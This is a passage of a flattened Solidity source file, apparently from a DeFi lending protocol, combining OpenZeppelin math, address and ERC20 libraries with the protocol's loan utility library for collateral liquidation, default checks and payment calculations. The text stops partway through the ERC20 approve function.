contracts/interfaces/IUniswapRouter.sol /* pragma solidity 0.6.11; */ interface IUniswapRouter { function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function WETH() external pure returns (address); } ////// lib/openzeppelin-contracts/contracts/math/SafeMath.sol /* pragma solidity >=0.6.0 <0.8.0; */ /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } ////// contracts/library/Util.sol /* pragma solidity 0.6.11; */ /* import "../interfaces/IERC20Details.sol"; */ /* import "../interfaces/IMapleGlobals.sol"; */ /* import "lib/openzeppelin-contracts/contracts/math/SafeMath.sol"; */ /// @title Util is a library that contains utility functions. library Util { using SafeMath for uint256; /** @dev Calculates the minimum amount from a swap (adjustable for price slippage). @param globals Instance of a MapleGlobals. @param fromAsset Address of ERC-20 that will be swapped. @param toAsset Address of ERC-20 that will returned from swap. @param swapAmt Amount of `fromAsset` to be swapped. @return Expected amount of `toAsset` to receive from swap based on current oracle prices. */ function calcMinAmount(IMapleGlobals globals, address fromAsset, address toAsset, uint256 swapAmt) external view returns (uint256) { return swapAmt .mul(globals.getLatestPrice(fromAsset)) // Convert from `fromAsset` value. .mul(10 ** IERC20Details(toAsset).decimals()) // Convert to `toAsset` decimal precision. .div(globals.getLatestPrice(toAsset)) // Convert to `toAsset` value. .div(10 ** IERC20Details(fromAsset).decimals()); // Convert from `fromAsset` decimal precision. } } ////// lib/openzeppelin-contracts/contracts/utils/Address.sol /* pragma solidity >=0.6.2 <0.8.0; */ /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } ////// lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol /* pragma solidity >=0.6.0 <0.8.0; */ /* import "./IERC20.sol"; */ /* import "../../math/SafeMath.sol"; */ /* import "../../utils/Address.sol"; */ /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } ////// contracts/library/LoanLib.sol /* pragma solidity 0.6.11; */ /* import "../interfaces/ICollateralLocker.sol"; */ /* import "../interfaces/ICollateralLockerFactory.sol"; */ /* import "../interfaces/IERC20Details.sol"; */ /* import "../interfaces/IFundingLocker.sol"; */ /* import "../interfaces/IFundingLockerFactory.sol"; */ /* import "../interfaces/IMapleGlobals.sol"; */ /* import "../interfaces/ILateFeeCalc.sol"; */ /* import "../interfaces/ILoanFactory.sol"; */ /* import "../interfaces/IPremiumCalc.sol"; */ /* import "../interfaces/IRepaymentCalc.sol"; */ /* import "../interfaces/IUniswapRouter.sol"; */ /* import "../library/Util.sol"; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol"; */ /* import "lib/openzeppelin-contracts/contracts/math/SafeMath.sol"; */ /// @title LoanLib is a library of utility functions used by Loan. library LoanLib { using SafeMath for uint256; using SafeERC20 for IERC20; address public constant UNISWAP_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /********************************/ /*** Lender Utility Functions ***/ /********************************/ /** @dev Performs sanity checks on the data passed in Loan constructor. @param globals Instance of a MapleGlobals. @param liquidityAsset Contract address of the Liquidity Asset. @param collateralAsset Contract address of the Collateral Asset. @param specs Contains specifications for this Loan. */ function loanSanityChecks(IMapleGlobals globals, address liquidityAsset, address collateralAsset, uint256[5] calldata specs) external view { require(globals.isValidLiquidityAsset(liquidityAsset), "L:INVALID_LIQ_ASSET"); require(globals.isValidCollateralAsset(collateralAsset), "L:INVALID_COL_ASSET"); require(specs[2] != uint256(0), "L:ZERO_PID"); require(specs[1].mod(specs[2]) == uint256(0), "L:INVALID_TERM_DAYS"); require(specs[3] > uint256(0), "L:ZERO_REQUEST_AMT"); } /** @dev Returns capital to Lenders, if the Borrower has not drawn down the Loan past the grace period. @param liquidityAsset IERC20 of the Liquidity Asset. @param fundingLocker Address of FundingLocker. @param createdAt Timestamp of Loan instantiation. @param fundingPeriod Duration of the funding period, after which funds can be reclaimed. @return excessReturned Amount of Liquidity Asset that was returned to the Loan from the FundingLocker. */ function unwind(IERC20 liquidityAsset, address fundingLocker, uint256 createdAt, uint256 fundingPeriod) external returns (uint256 excessReturned) { // Only callable if Loan funding period has elapsed. require(block.timestamp > createdAt.add(fundingPeriod), "L:STILL_FUNDING_PERIOD"); // Account for existing balance in Loan. uint256 preBal = liquidityAsset.balanceOf(address(this)); // Drain funding from FundingLocker, transfers all the Liquidity Asset to this Loan. IFundingLocker(fundingLocker).drain(); return liquidityAsset.balanceOf(address(this)).sub(preBal); } /** @dev Liquidates a Borrower's collateral, via Uniswap, when a default is triggered. Only the Loan can call this function. @param collateralAsset IERC20 of the Collateral Asset. @param liquidityAsset Address of Liquidity Asset. @param superFactory Factory that instantiated Loan. @param collateralLocker Address of CollateralLocker. @return amountLiquidated Amount of Collateral Asset that was liquidated. @return amountRecovered Amount of Liquidity Asset that was returned to the Loan from the liquidation. */ function liquidateCollateral( IERC20 collateralAsset, address liquidityAsset, address superFactory, address collateralLocker ) external returns ( uint256 amountLiquidated, uint256 amountRecovered ) { // Get the liquidation amount from CollateralLocker. uint256 liquidationAmt = collateralAsset.balanceOf(address(collateralLocker)); // Pull the Collateral Asset from CollateralLocker. ICollateralLocker(collateralLocker).pull(address(this), liquidationAmt); if (address(collateralAsset) == liquidityAsset || liquidationAmt == uint256(0)) return (liquidationAmt, liquidationAmt); collateralAsset.safeApprove(UNISWAP_ROUTER, uint256(0)); collateralAsset.safeApprove(UNISWAP_ROUTER, liquidationAmt); IMapleGlobals globals = _globals(superFactory); // Get minimum amount of loan asset get after swapping collateral asset. uint256 minAmount = Util.calcMinAmount(globals, address(collateralAsset), liquidityAsset, liquidationAmt); // Generate Uniswap path. address uniswapAssetForPath = globals.defaultUniswapPath(address(collateralAsset), liquidityAsset); bool middleAsset = uniswapAssetForPath != liquidityAsset && uniswapAssetForPath != address(0); address[] memory path = new address[](middleAsset ? 3 : 2); path[0] = address(collateralAsset); path[1] = middleAsset ? uniswapAssetForPath : liquidityAsset; if (middleAsset) path[2] = liquidityAsset; // Swap collateralAsset for Liquidity Asset. uint256[] memory returnAmounts = IUniswapRouter(UNISWAP_ROUTER).swapExactTokensForTokens( liquidationAmt, minAmount.sub(minAmount.mul(globals.maxSwapSlippage()).div(10_000)), path, address(this), block.timestamp ); return(returnAmounts[0], returnAmounts[path.length - 1]); } /**********************************/ /*** Governor Utility Functions ***/ /**********************************/ /** @dev Transfers any locked funds to the Governor. Only the Governor can call this function. @param token Address of the token to be reclaimed. @param liquidityAsset Address of token that is used by the loan for drawdown and payments. @param globals Instance of a MapleGlobals. */ function reclaimERC20(address token, address liquidityAsset, IMapleGlobals globals) external { require(msg.sender == globals.governor(), "L:NOT_GOV"); require(token != liquidityAsset && token != address(0), "L:INVALID_TOKEN"); IERC20(token).safeTransfer(msg.sender, IERC20(token).balanceOf(address(this))); } /************************/ /*** Getter Functions ***/ /************************/ /** @dev Returns if a default can be triggered. @param nextPaymentDue Timestamp of when payment is due. @param defaultGracePeriod Amount of time after the next payment is due that a Borrower has before a liquidation can occur. @param superFactory Factory that instantiated Loan. @param balance LoanFDT balance of account trying to trigger a default. @param totalSupply Total supply of LoanFDT. @return Boolean indicating if default can be triggered. */ function canTriggerDefault(uint256 nextPaymentDue, uint256 defaultGracePeriod, address superFactory, uint256 balance, uint256 totalSupply) external view returns (bool) { bool pastDefaultGracePeriod = block.timestamp > nextPaymentDue.add(defaultGracePeriod); // Check if the Loan is past the default grace period and that the account triggering the default has a percentage of total LoanFDTs // that is greater than the minimum equity needed (specified in globals) return pastDefaultGracePeriod && balance >= ((totalSupply * _globals(superFactory).minLoanEquity()) / 10_000); } /** @dev Returns information on next payment amount. @param repaymentCalc Address of RepaymentCalc. @param nextPaymentDue Timestamp of when payment is due. @param lateFeeCalc Address of LateFeeCalc. @return total Entitled total amount needed to be paid in the next payment (Principal + Interest only when the next payment is last payment of the Loan). @return principal Entitled principal amount needed to be paid in the next payment. @return interest Entitled interest amount needed to be paid in the next payment. @return _nextPaymentDue Payment Due Date. @return paymentLate Whether payment is late. */ function getNextPayment( address repaymentCalc, uint256 nextPaymentDue, address lateFeeCalc ) external view returns ( uint256 total, uint256 principal, uint256 interest, uint256 _nextPaymentDue, bool paymentLate ) { _nextPaymentDue = nextPaymentDue; // Get next payment amounts from RepaymentCalc. (total, principal, interest) = IRepaymentCalc(repaymentCalc).getNextPayment(address(this)); paymentLate = block.timestamp > _nextPaymentDue; // If payment is late, add late fees. if (paymentLate) { uint256 lateFee = ILateFeeCalc(lateFeeCalc).getLateFee(interest); total = total.add(lateFee); interest = interest.add(lateFee); } } /** @dev Returns information on full payment amount. @param repaymentCalc Address of RepaymentCalc. @param nextPaymentDue Timestamp of when payment is due. @param lateFeeCalc Address of LateFeeCalc. @param premiumCalc Address of PremiumCalc. @return total Principal + Interest for the full payment. @return principal Entitled principal amount needed to be paid in the full payment. @return interest Entitled interest amount needed to be paid in the full payment. */ function getFullPayment( address repaymentCalc, uint256 nextPaymentDue, address lateFeeCalc, address premiumCalc ) external view returns ( uint256 total, uint256 principal, uint256 interest ) { (total, principal, interest) = IPremiumCalc(premiumCalc).getPremiumPayment(address(this)); if (block.timestamp <= nextPaymentDue) return (total, principal, interest); // If payment is late, calculate and add late fees using interest amount from regular payment. (,, uint256 regInterest) = IRepaymentCalc(repaymentCalc).getNextPayment(address(this)); uint256 lateFee = ILateFeeCalc(lateFeeCalc).getLateFee(regInterest); total = total.add(lateFee); interest = interest.add(lateFee); } /** @dev Calculates collateral required to drawdown amount. @param collateralAsset IERC20 of the Collateral Asset. @param liquidityAsset IERC20 of the Liquidity Asset. @param collateralRatio Percentage of drawdown value that must be posted as collateral. @param superFactory Factory that instantiated Loan. @param amt Drawdown amount. @return Amount of Collateral Asset required to post in CollateralLocker for given drawdown amount. */ function collateralRequiredForDrawdown( IERC20Details collateralAsset, IERC20Details liquidityAsset, uint256 collateralRatio, address superFactory, uint256 amt ) external view returns (uint256) { IMapleGlobals globals = _globals(superFactory); uint256 wad = _toWad(amt, liquidityAsset); // Convert to WAD precision. // Fetch current value of Liquidity Asset and Collateral Asset (Chainlink oracles provide 8 decimal precision). uint256 liquidityAssetPrice = globals.getLatestPrice(address(liquidityAsset)); uint256 collateralPrice = globals.getLatestPrice(address(collateralAsset)); // Calculate collateral required. uint256 collateralRequiredUSD = wad.mul(liquidityAssetPrice).mul(collateralRatio).div(10_000); // 18 + 8 = 26 decimals uint256 collateralRequiredWAD = collateralRequiredUSD.div(collateralPrice); // 26 - 8 = 18 decimals return collateralRequiredWAD.mul(10 ** collateralAsset.decimals()).div(10 ** 18); // 18 + collateralAssetDecimals - 18 = collateralAssetDecimals } /************************/ /*** Helper Functions ***/ /************************/ function _globals(address loanFactory) internal view returns (IMapleGlobals) { return IMapleGlobals(ILoanFactory(loanFactory).globals()); } function _toWad(uint256 amt, IERC20Details liquidityAsset) internal view returns (uint256) { return amt.mul(10 ** 18).div(10 ** liquidityAsset.decimals()); } } ////// contracts/math/SafeMathInt.sol /* pragma solidity 0.6.11; */ library SafeMathInt { function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0, "SMI:NEG"); return uint256(a); } } ////// contracts/math/SafeMathUint.sol /* pragma solidity 0.6.11; */ library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256 b) { b = int256(a); require(b >= 0, "SMU:OOB"); } } ////// lib/openzeppelin-contracts/contracts/math/SignedSafeMath.sol /* pragma solidity >=0.6.0 <0.8.0; */ /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } ////// lib/openzeppelin-contracts/contracts/GSN/Context.sol /* pragma solidity >=0.6.0 <0.8.0; */ /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } ////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol /* pragma solidity >=0.6.0 <0.8.0; */ /* import "../../GSN/Context.sol"; */ /* import "./IERC20.sol"; */ /* import "../../math/SafeMath.sol"; */ /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); 